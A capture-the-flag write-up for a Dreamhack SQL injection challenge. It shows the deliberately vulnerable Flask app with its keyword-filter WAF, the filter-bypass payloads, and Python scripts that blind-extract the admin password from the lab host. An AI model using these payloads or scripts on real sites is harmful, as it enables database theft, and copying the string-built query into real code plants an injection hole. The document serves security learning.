Dreamhack Advanced WAF Bypass SQLI
Challenge Name : Advanced WAF Bypass SQLi
- The challenge source code is given below
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/',
'\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
-
This challenge is advanced version of the previous challenge
,The user input here is lower casted before checking into the check_WAF function.WAF bypass SQLI
-
At first i tried basic concatenation [OR Operator] and it worked with
'||1=1#
'||1=0#
-
Then i tried with
, i got success in calculating the length, like if the length is valid,the server will respond the uid but it seems if founded the upw of abcde which is a different user.'||length(upw)={length}#
-
Then started struggling with the idea of how to supply the admin uid, meanwhile i understood the exploitation part will require blind injection.
-
The idea came in to use the [AND operator] &&
'||(uid='guest'&&length(upw)=5)#
-
It worked and the responded with the uid guest.
-
Now we can use concat function to supply admin value in uid
, We also know that the flag value is stored in admin upw and starts with ‘D’ since the flag format is ‘DH{.*}‘.concat('adm','in)
-
I supplied the payload
'||(uid=concat('adm','in')&&substr(upw,1,1)='D')#
and yesss! we recieved the response uid as admin which means we succceded! -
Now our idea is to find the length of upw and below is the script i created that will help us to find the length!
import requests
import urllib.parse
host = "http://host3.dreamhack.games:18985"
length = 0
while True:
payload = f"'||(uid=concat('adm','in')&&length(upw)={length})#"
encoded_payload = urllib.parse.quote(payload)
print(f"Trying length {length}")
data = requests.get(f"{host}/?uid={encoded_payload}")
if "admin" in data.text:
break
else:
length=length+1
print(f"Admin upw length is {length}")
• The length of upw is 44 and now we can bruteforce each character and find the flag.
import requests
import urllib.parse
host = "http://host3.dreamhack.games:18985"
charSet = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
length=44
pos=0
flag=''
for i in range(0,45):
pos= pos+1
for j in charSet:
payload = f"'||(uid=concat('adm','in')&&substr(upw,{i},1)='{j}')#"
encoded_payload = urllib.parse.quote(payload)
data = requests.get(f"{host}/?uid={encoded_payload}")
if "admin" in data.text:
print(f"found character {j} in position {i}")
flag = flag+j
break
print(f"Flag : {flag}")
- Thanks.